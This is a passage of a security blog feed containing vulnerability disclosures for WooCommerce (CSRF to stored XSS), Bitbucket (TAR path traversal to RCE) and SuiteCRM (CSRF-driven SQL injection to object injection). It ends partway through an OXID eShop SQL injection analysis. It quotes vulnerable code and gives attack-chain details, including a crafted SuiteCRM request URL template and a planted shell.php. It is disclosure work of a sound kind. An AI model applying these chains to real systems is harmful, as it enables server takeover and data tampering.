419    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;wp_localize_script()&lt;/code&gt; localizes a registered script with data for a JavaScript variable. In simple terms, all the data in the &lt;code&gt;wc_product_import_params&lt;/code&gt; variable are controlled by an attacker. Furthermore, a valid &lt;code&gt;import_nonce&lt;/code&gt; is created with the &lt;code&gt;wp_create_nonce()&lt;/code&gt; function in line 407 for the &lt;code&gt;wc-product-import&lt;/code&gt; action. Finally, the JavaScript is enqueued in line 417 and sends an AJAX request to the WordPress backend with the attacker controlled &lt;code&gt;$_POST&lt;/code&gt; variable and the valid nonce.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/includes/admin/class-wc-admin-importers.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;199    public function do_ajax_product_import() {
200        global $wpdb;
201    
202        check_ajax_referer( &apos;wc-product-import&apos;, &apos;security&apos; );
203
204        if ( ! $this-&gt;import_allowed() || ! isset( $_POST[&apos;file&apos;] ) ) {
205            wp_send_json_error(array(&apos;message&apos; =&gt; __(&apos;Insufficient privileges to import products.&apos;, &apos;woocommerce&apos; )));
206        }
207
208        // Begin import process here
209    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The invoked AJAX request calls the &lt;code&gt;do_ajax_product_import()&lt;/code&gt; function. In line 202 the nonce check of the &lt;code&gt;check_ajax_referer()&lt;/code&gt; function is bypassed via the self-created nonce described above. In line 204 the code checks if the current user has the privileges to import products. This is the case because the AJAX request is invoked by the victim’s browser (administrator). All used parameters like &lt;code&gt;$_POST[&amp;#x27;file&amp;#x27;]&lt;/code&gt; are provided by the &lt;code&gt;wp_localize_script()&lt;/code&gt; described above. Finally, the products from the malicious &lt;code&gt;.csv&lt;/code&gt; file are imported with the XSS payload in the product description.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/05/29&lt;/td&gt;&lt;td&gt;First contact with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/05/29&lt;/td&gt;&lt;td&gt;Response of vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/27&lt;/td&gt;&lt;td&gt;Insufficient patch proposed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/29&lt;/td&gt;&lt;td&gt;Bypass #1 reported and acknowledged&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/07/01&lt;/td&gt;&lt;td&gt;Vendor proposed a valid fix&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/07/02&lt;/td&gt;&lt;td&gt;Fix with version 3.6.5 released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The introduced vulnerabilities can lead to stored XSS in every product of the shop. This allows an attacker to execute arbitrary JavaScript code in the browser of the administrator who triggered the CSRF vulnerability on the target website or any visitor of the shop, and as a result to send HTTP requests using the session of the victim. All of the JavaScript execution happens in the background without the victims noticing. The mistake was to only protect the first step of the import functionality via a nonce, but not the others. At a first glance, it does not seem tragic but a sophisticated attacker could abuse this small mistake to compromise blogs. It should be noted that WordPress allows administrators of a blog to directly edit the &lt;code&gt;.php&lt;/code&gt; files of themes and plugins from within the admin dashboard. By abusing the XSS vulnerability, the attacker can gain arbitrary PHP code execution on the remote server.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bitbucket 6.1.1 Path Traversal to RCE]]></title><description><![CDATA[In this blog post we analyse how the insecure extraction of a compressed TAR archive lead to a critical vulnerability in Bitbucket (CVE-2019-3397).]]></description><link>https://www.sonarsource.com/blog/bitbucket-path-traversal-to-rce</link><guid isPermaLink="false">3b774f04-145c-5e90-a683-79c8cafde013</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bitbucket is one of the worlds leading version control software allowing millions of developers to manage Git repositories and collaborate on source code. Bitbucket is developed by the Australian software company Atlassian which is also kown for Confluence and Jira. In this blog post we will analyse how a common but often overseen security issue leads to a critical vulnerability in Bitbucket (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3397&quot;&gt;CVE-2019-3397&lt;/a&gt;). The issue is caused by the insecure extraction of a compressed TAR archive.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;In Bitbucket the four different user roles &lt;em&gt;Bitbucket User&lt;/em&gt;, &lt;em&gt;Project Creator&lt;/em&gt;, &lt;em&gt;Admin&lt;/em&gt; and &lt;em&gt;System Admin&lt;/em&gt; exist. An attacker with the permissions of the role &lt;em&gt;Admin&lt;/em&gt; can abuse Bitbucket’s Data Center Migration tool to drop an executable shell script in an arbitrary directory. This is caused by a directory traversal within a TAR archive. In order to gain remote code execution, the attacker can drop a Git hook which is executed if a special event occurs in the repository e.g. a pull or push request. The vulnerable &lt;a href=&quot;https://confluence.atlassian.com/bitbucketserver/importing-957497836.html&quot;&gt;Data Center Migration tool&lt;/a&gt; was introduced in version 5.14 of Bitbucket Server and can be exploited with a Bitbucket Data Center license.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/O5L4Nk4un-c&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Bitbucket’s Migration Endpoint&lt;/h3&gt;&lt;p&gt;The Data Center Migration tool allows &lt;em&gt;Admins&lt;/em&gt; or &lt;em&gt;System Admins&lt;/em&gt; to migrate Git repositories from Bitbucket Server to Bitbucket Data Center. To start the migration process the admin has to export the repositories from the Bitbucket Server instance first. During the export process a TAR archive with the following structure is being created.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example TAR archive&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    _/repository/hierarchy_begin/c3b3efc5cb93609ad4fc
 2    _/repository/hierarchy_end/c3b3efc5cb93609ad4fc
 3    com.atlassian.bitbucket.server.bitbucket-instance-migration_instanceDetails/instance-details.json.atl.gz
 4    com.atlassian.bitbucket.server.bitbucket-instance-migration_metadata/project_68/project.json.atl.gz
 5    com.atlassian.bitbucket.server.bitbucket-instance-migration_metadata/project_68/repository_59.json.atl.gz
 6    com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/project/68/all-permissions.json.atl.gz
 7    com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/project/68/permissions.json.atl.gz
 8    com.atlassian.bitbucket.server.bitbucket-instance-migration_permissions/repository/59/permissions.json.atl.gz
 9    com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/hooks/hooks.atl.tar.atl.gz
10    com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/contents/objects.atl.tar
11    com.atlassian.bitbucket.server.bitbucket-git_git/repositories/59/metadata/metadata.atl.tar.atl.gz
12    com.atlassian.bitbucket.server.bitbucket-git-lfs_gitLfsSettings/59/git-lfs-settings.json.atl.gz&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see, the exported TAR archive contains multiple GZIP and TAR compressed files. Especially the file &lt;code&gt;hooks.atl.tar.atl.gz&lt;/code&gt; (line 9) looks suspicious since it contains Git hooks which are scripts that are executed every time a particular event occurs in a Git repository. Manipulating such a TAR archive entry with the &lt;code&gt;../../&lt;/code&gt; notation and starting the import process leads to a Remote Code Execution vulnerability as described in the next section.&lt;/p&gt;&lt;h3&gt;Insecure Archive extraction&lt;/h3&gt;&lt;p&gt;During the import process of a repository, the Git hooks from the file &lt;code&gt;hooks.atl.tar.atl.gz&lt;/code&gt; are stored in the directory &lt;code&gt;${BITBUCKET_DATA}/shared/data/repositories/${REPO_ID}/imported-hooks/&lt;/code&gt; and are therefore ignored from being executed since the regular hooks of a repository are stored in the directory &lt;code&gt;${BITBUCKET_DATA}/shared/data/repositories/${REPO_ID}/hooks/&lt;/code&gt;. However, if an attacker controls the contents of the file &lt;code&gt;hooks.atl.tar.atl.gz&lt;/code&gt; it is possible to traverse out of the intended directory and drop a hook in an arbitrary directory. This is caused by insecure extraction of the GZip compressed TAR file.&lt;/p&gt;&lt;p&gt;The following code snippet shows the simplified function &lt;code&gt;extractToDisk()&lt;/code&gt; which takes the path to the file &lt;code&gt;hooks.atl.tar.atl.gz&lt;/code&gt; as parameter target. Then the function &lt;code&gt;read()&lt;/code&gt; is called with the lambda expression in line 4-9. This lambda expression implements the function &lt;code&gt;accept()&lt;/code&gt; of the interface &lt;code&gt;IoConsumer&amp;lt;T&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Insecure Extraction of Archives&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    public void extractToDisk(@Nonnull Path target, @Nonnull Predicate&lt;String&gt; filter) throws IOException {
 2        ⋮
 3        this.read((entrySource) -&gt; {
 4            Path entryPath = entrySource.getPath();
 5            String filename = entryPath.getFileName().toString();
 6            ⋮
 7            entrySource.extractToDisk(target.resolve(entryPath));
 8 
 9        }, filter);
10    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following code snippet shows the function declaration of the function &lt;code&gt;read()&lt;/code&gt;. This function iterates over all archive entries and calls the function &lt;code&gt;accept()&lt;/code&gt; on an object of the class &lt;code&gt;TarEntrySource&lt;/code&gt; containing the user input. We can see that the unsanitized user input from the &lt;code&gt;source org.apache.commons.compress.archivers.tar.TarArchiveEntry.getName()&lt;/code&gt; (line 7) reaches the sensitive sink &lt;code&gt;java.nio.Paths.get()&lt;/code&gt; (line 9) indicating a Path Traversal vulnerability.&lt;/p&gt;&lt;p&gt;Since the function &lt;code&gt;accept()&lt;/code&gt; is implemented by the above defined lambda expression, we can track the user input to the to the function call of &lt;code&gt;TarEntrySource.extractToDisk()&lt;/code&gt; (line 7).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Reading the TAR archive&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    public void read(@Nonnull IoConsumer&lt;EntrySource&gt; reader,
 2            @Nonnull Predicate&lt;String&gt; filter) throws IOException {
 3        ⋮
 4        TarArchiveEntry entry;
 5        while ((entry = (TarArchiveEntry) inputStream.getNextEntry()) != null) {
 6            InputStream entryInputStream = new CloseShieldInputStream(inputStream);
 7            String name = entry.getName();
 8            if (filter.test(name)) {
 9                reader.accept(new TarEntrySource(entryInputStream, Paths.get(name), entry));
10            }
11        }
12    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following Listing shows the function &lt;code&gt;extractToDisk()&lt;/code&gt; of the class &lt;code&gt;TarEntrySource&lt;/code&gt; which takes the unsanitized path as function parameter. We can see that all sub directories of the path are created (line 5) and the file is copied into that directory (line 8).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Dropping the File&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    private static class TarEntrySource extends DefaultEntrySource {
 2        ⋮
 3        public void extractToDisk(@Nonnull Path target) throws IOException {
 4            ⋮
 5            Files.createDirectories(target.getParent());
 6            OutputStream out = new FileOutputStream(target.toFile());
 7            ⋮
 8            IoUtils.copy(this.inputStream, out, 32768);
 9            ⋮
10            PosixFileAttributeView fileAttributeView = (PosixFileAttributeView)Files.getFileAttributeView(target, PosixFileAttributeView.class);
11            fileAttributeView.setPermissions(FilePermissionUtils.toPosixFilePermissions(this.tarArchiveEntry.getMode()));
12        }
13    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This path traversal vulnerability enables an attacker to drop a Git hook in an attacker controlled BitBucket repository. However, if the file permissisons of the shell script are not set properly e.g. the execute bit is not set the Git hook is not being executed. Interesting to mention is that a TAR archive contains meta information of a file entry like the modification date, the user name, the group name and the file mode (file permissions). In line 11, the file permissions are set to the corresponding permissions of the archive entry.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/02/27&lt;/td&gt;&lt;td&gt;Reported the Path Traversal vulnerability to Atlassian.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/03/11&lt;/td&gt;&lt;td&gt;Atlassian confirmed the vulnerability and assigned issue BSERV-11706.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/01&lt;/td&gt;&lt;td&gt;Atlassian fixed the issue in Bitbucket 6.1.2.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/05/22&lt;/td&gt;&lt;td&gt;Atlassian published a security advisory for Bitbucket.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post we have analysed how the insecure server-side extraction of a TAR archive leads to a critical vulnerability in Bitbucket. Bitbucket is used by millions of developers world-wide which introduces a special interest for attackers. There are different attack scenarios to exploit this issue. A&lt;em&gt;Bitbucket User&lt;/em&gt;could lure a user of the role&lt;em&gt;Admin &lt;/em&gt;(not&lt;em&gt;System Admin&lt;/em&gt;) to import a malicious TAR archive in order to gain control of the remote Bitbucket server or a malicious&lt;em&gt;Admin&lt;/em&gt;can exploit this issue by himself. It is highly recommended to update Bitbucket Data Center to the most recent version. We would like to thank the Atlassian team for the professional collaboration on fixing this issue.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce/&quot;&gt;Roundcube 1.2.2: Command Execution via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce/&quot;&gt;Evil Teacher: Code Injection in Moodle&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SuiteCRM 7.11.4 - Breaking Into Your Internal Network]]></title><description><![CDATA[In this blog post we will see how a vulnerable web application deployed in the internal network of your company can act as a charming entry gateway for any adversary.]]></description><link>https://www.sonarsource.com/blog/breaking-into-your-internal-network</link><guid isPermaLink="false">b8bf6d9b-5503-5aa4-8113-fe28a977d026</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Mon, 19 Aug 2019 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SuiteCRM, a customer relationship software, is a great first economic choice as CRM software because it is &lt;em&gt;free&lt;/em&gt; and &lt;em&gt;open source&lt;/em&gt;. However, in this blog post we will see how a vulnerable web application deployed in the internal network of your company can act as a charming entry gateway for any adversary. As part of our efforts to make the open source web application space more secure we analyzed SuiteCRM 7.11.4 and detected multiple critical vulnerabilities. Among them is a &lt;strong&gt;SQL Injection&lt;/strong&gt; that can be exploited as a normal user (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12598&quot;&gt;CVE-2019-12598&lt;/a&gt;), which can be leveraged into a multi-step PHP Object Injection leading to a &lt;strong&gt;Remote Code Execution&lt;/strong&gt; (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12601&quot;&gt;CVE-2019-12601&lt;/a&gt;) giving an attacker full control of the underlying server. The cherry on top of the cake: an attacker can exploit this vulnerability without any valid login credentials and without direct access to the internal network.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/7pyJVQfcQ4Y&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Hacking into your Network: Arbitrary Database Write via CSRF&lt;/h2&gt;&lt;p&gt;The SuiteCRM web application is vulnerable to a SQL Injection which is present in the &lt;code&gt;WizardNewsletterSave&lt;/code&gt; action of the &lt;code&gt;Campaigns&lt;/code&gt; module. To exploit this vulnerability, the attacker can make use of a &lt;strong&gt;Spear Phishing&lt;/strong&gt; attack to lure a faithful and benign employee who is logged into the company’s web application into visiting/clicking a malicious and evil website (e.g. http://evilattacker.com). The website will embed an image which is pointing to a specially crafted malicious URL, causing the browser to issue a HTTP request to the following target:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;http://&amp;lt;internal-network-suitecrm&amp;gt;/index.php?module=Campaigns&amp;amp;action=WizardNewsletterSave&amp;amp;currentstep=1&amp;amp;wiz_step1_field_defs[&lt;code&gt;SOMEFIELD&lt;/code&gt;​][default]=&lt;code&gt;​SOMEVALUE&lt;/code&gt;​&amp;amp;wiz_step1_table_name=​&lt;code&gt;SOMETABLENAME&lt;/code&gt;​&amp;amp;wiz_step1_id=1337&amp;amp;wiz_step1_new_with_id=1&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the browser of the victim - authenticated to the SuiteCRM web application - issues a HTTP request to this link then the following SQL query is executed on the underlying database:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;INSERT INTO​    SOMETABLENAME​  ( SOMEFIELD​ )   VALUES​ ( &apos;SOMEVALUE&apos;​ ) &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The root cause of this problem originates in the &lt;code&gt;WizardNewsletterSave.php&lt;/code&gt; file of the application logic which is populating the instance of a &lt;code&gt;SugarBean&lt;/code&gt; object from the HTTP request sent by the attacker. As seen in line 70 of the following source code, this is done &lt;em&gt;before&lt;/em&gt; saving the &lt;code&gt;SugarBean&lt;/code&gt; to the database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;modules/Campaigns/WizardNewsletterSave.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;69    &lt;?php foreach ( $camp_steps as $step​ )
70    $campaign_focus=populate_wizard_bean_from_request​($campaign_focus​, $step​);
71    …
72    $campaign_focus​-&gt;​save​();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, the function &lt;code&gt;populate_wizard_bean_from_request()&lt;/code&gt; allows an attacker to set the object properties of the constructed bean arbitrarily, which is known as &lt;em&gt;Variable Tampering&lt;/em&gt;. Such a vulnerability can be observed in line 409 and 410 where user input&lt;code&gt;$_REQUEST[$key]&lt;/code&gt; is assigned to the dynamic &lt;code&gt;$field&lt;/code&gt; property of the object which was built from the attacker controlled parameter name &lt;code&gt;$key&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;modules/Campaigns/WizardNewsletterSave.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;402    function populate_wizard_bean_from_request​($bean​, $prefix​)
403    {
404        foreach($_REQUEST ​as $key​ =&gt; $val​) {
405            $key = trim​($key​);
406            if((strstr​($key​, $prefix​)) &amp;&amp; (strpos​($key​, $prefix​) == 0)) {
407                $field = substr​($key, strlen​($prefix​));
408                if(isset​($_REQUEST​[$key​]) &amp;&amp; !empty​($_REQUEST​[$key​])) {
409                    $value = $_REQUEST​[$key​];
410                    $bean​-&gt;​$field = $value​;
411                }
412            }
413        }
414        return $bean​;
415    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Especially the &lt;code&gt;table_name&lt;/code&gt; property of a &lt;code&gt;SugarBean&lt;/code&gt; instance is prone to be written by the attacker because it is directly embedded into a SQL query. The property is returned by the &lt;code&gt;getTableName()&lt;/code&gt; method on line 1964 and spared by further sanitization leading to the SQL Injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;modules/Campaigns/WizardNewsletterSave.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1962    public function insertSQL(SugarBean $bean)
1963    {
1964        $sql = $this-&gt;insertParams($bean-&gt;getTableName(), /…/);
1965        return $sql;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This feature allows any adversary to inject malicious entries into the database of the server which has critical effects standalone: an attacker can create a secondary administrator account next to removing and inserting arbitrary information. Since a CRM software is usually isolated in the internal network, this vulnerability alone is hardly exploitable. However, in the following section we will see how this SQL Injection can be leveraged into a Remote Code Execution vulnerability easily by chaining together multiple exploits.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Remote Code Execution on the Internal Network Server&lt;/h2&gt;&lt;p&gt;We detected that database write access to the &lt;code&gt;stored_options&lt;/code&gt; column of the &lt;code&gt;inbound_email&lt;/code&gt; table can be leveraged into an advanced Multi Step PHP Object Injection vulnerability which leads to a Remote Code Execution. To achieve this goal, an attacker needs to insert a row with a known id (e.g. &lt;em&gt;313373​&lt;/em&gt;) into the &lt;code&gt;inbound_email&lt;/code&gt;table of the database connected to the SuiteCRM web application containing a base64 encoded version of a serialized malicious PHP object. The specially crafted PHP object will hijack the control flow of the underlying application logic to spawn a malicious &lt;code&gt;shell.php&lt;/code&gt; file in the root directory of SuiteCRM, as soon as the object is deserialized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;http://&amp;lt;SuiteCRM7114Host&amp;gt;/index.php?module=Emails&amp;amp;action=EmailUIAjax&amp;amp;emailUIAction=sendEmail&amp;amp;fromAccount=313373&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By embedding a second image and sending another request to the web application, the payload is read from the database, deserialized and executed. As a result, the attacker can execute code on the freshly hijacked internal network server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The issue is located in the &lt;code&gt;getInboundMailerSettings​()&lt;/code&gt; method where the stored serialized payload is retrieved and deserialized on demand. The issued HTTP request will directly cause the web application to load the options stored under the id (e.g &lt;em&gt;313373&lt;/em&gt;) which have been overwritten previously.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;include/OutboundEmail/OutboundEmail.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;338    public function getInboundMailerSettings​($user​, $mailer_id=&apos;&apos;​, $ieId=&apos;&apos;​)
339    {
340        /…/
341        if (!empty​($mailer_id​)) {
342            /…/
343        } elseif (!empty​($ieId​)) {
344            $q = &quot;SELECT stored_options FROM inbound_email WHERE id = &apos;​{$ieId}&apos;&quot;​;
345            $r = $this​-&gt;​db​-&gt;​query( $q​ );
346            $a = $this​-&gt;​db-&gt;fetchByAssoc​( $r​ );
347            if (!empty​ ( $a​ )) {
348                $opts = unserialize​(base64_decode​($a​[&apos;stored_options&apos;​]));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you want to know more on how to exploit a PHP Object Injection like this into Remote Code Execution read more about it in our blog post.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timetable&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;17/May/19&lt;/td&gt;&lt;td&gt;First contact with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;17/May/19&lt;/td&gt;&lt;td&gt;Response of vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;20/May/19&lt;/td&gt;&lt;td&gt;Vendor informs about release plans for fix&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;03/June/19&lt;/td&gt;&lt;td&gt;Fixed with version&amp;nbsp;7.11.5&amp;nbsp;and SuiteCRM LTS 7.10.17&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Isolating a vulnerable web application into your internal network does not guard it from external attackers, in fact, it can be used as an entry gateway for any attacker through a sophisticated combination of Spear Phishing, Cross Site Request Forgery and an attacking technique which suites the vulnerable web application. At the end of the day, any web application deployed in your network should implement sufficient security, either assured through tedious manual security testing or with time efficient automated security tools. If you are running SuiteCRM please update as soon as possible to &lt;a href=&quot;https://suitecrm.com/download/#&quot;&gt;the latest release of SuiteCRM&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pre-Auth Takeover of OXID eShops]]></title><description><![CDATA[We detected a highly critical vulnerability in the OXID eShop software that allows unauthenticated attackers to takeover an eShop remotely in less than a few seconds - all on default configurations.]]></description><link>https://www.sonarsource.com/blog/oxid-esales-shop-software</link><guid isPermaLink="false">4de1d1c3-f991-566e-8f16-faa748e69cbb</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Sun, 28 Jul 2019 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OXID eShop is an e-commerce shop software originating from Germany and its enterprise edition is used by industry leaders such as Mercedes, BitBurger and Edeka. In this technical blog post we will show you how an &lt;strong&gt;unauthenticated attacker gains Remote Code Execution&lt;/strong&gt; in OXID eShop running the latest version 6.3.4 &lt;strong&gt;on default configurations&lt;/strong&gt;. A second vulnerability in the administration panel can then be exploited to gain remote code execution on the server. We highly recommend to update to the latest version!&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/qz6f5PujhXs&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;SQL Injection in Product Details&lt;/h2&gt;&lt;p&gt;The eShop software is prone to a SQL Injection which is fully exploitable from an unauthenticated remote session. The exploit requires no specific shop configuration. Each time when a user is viewing a product a specific SQL query is constructed by the &lt;code&gt;_getVendorSelect()&lt;/code&gt; method and sent to the database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;source/Application/Model/ArticleList.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1083    protected function _getVendorSelect($sVendorId)
1084    {
1085        ⋮
1086        if ($this-&gt;_sCustomSorting) {
1087            $sSelect .= &quot; ORDER BY {$this-&gt;_sCustomSorting} &quot;;
1088        }
1089        return $sSelect;
1090    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A preceding call to the &lt;code&gt;setCustomSorting()&lt;/code&gt; method will specify the &lt;code&gt;_sCustomSorting&lt;/code&gt;property of the object on line 1087, which determines the &lt;code&gt;ORDER BY&lt;/code&gt; clause of the SQL query. Later, this will be the injection point of the attacker.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;source/Application/Component/Locator.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;131      $oIdList-&gt;setCustomSorting($oLocatorTarget-&gt;getSortingSql($oLocatorTarget-&gt;getSortIdent()));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The custom sorting property is set to the return value of the method &lt;code&gt;getSortingSql()&lt;/code&gt; on line 131 of the above code snippet. This call is delegated via the  &lt;code&gt;getSorting()&lt;/code&gt; method to the &lt;code&gt;getSavedSorting()&lt;/code&gt; method of the &lt;code&gt;FrontendController&lt;/code&gt; class on line 1424:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;source/Application/Controller/FrontendController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1419    public function getSorting($sortIdent)
1420    {
1421        ⋮
1422        if ($sorting = $this-&gt;getUserSelectedSorting()) {
1423            /*...*/
1424        } elseif (!$sorting = $this-&gt;getSavedSorting($sortIdent)) {
1425            $sorting = $this-&gt;getDefaultSorting();
1426        }
1427        /*...*/
1428        public function getSavedSorting($sortIdent)
1429        {
1430            $sorting = \OxidEsales\Eshop\Core\Registry::getSession()
1431                -&gt;getVariable(&apos;aSorting&apos;);
1432            /*...*/
1433            return $sorting[$sortIdent];
1434        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It can be observed that the &lt;code&gt;getSavedSorting()&lt;/code&gt; method accesses OXID’s internal session object on line 1430 and retrieves the &lt;code&gt;aSorting&lt;/code&gt; variable - this line is equivalent of reading PHP’s session variable &lt;code&gt;$_SESSION[&amp;#x27;aSorting&amp;#x27;]&lt;/code&gt; directly. &lt;strong&gt;This variable can be controlled by an attacker, which is a keypoint in understanding the vulnerability&lt;/strong&gt;. Finally, the variable is written to the &lt;code&gt;$sorting&lt;/code&gt; placeholder on line 1430, returned through the call stack and used as an argument to the previously described &lt;code&gt;setCustomSorting()&lt;/code&gt; method.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;source/Application/Component/Widget/ArticleDetails.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;899        protected function _setSortingParameters()
900        {
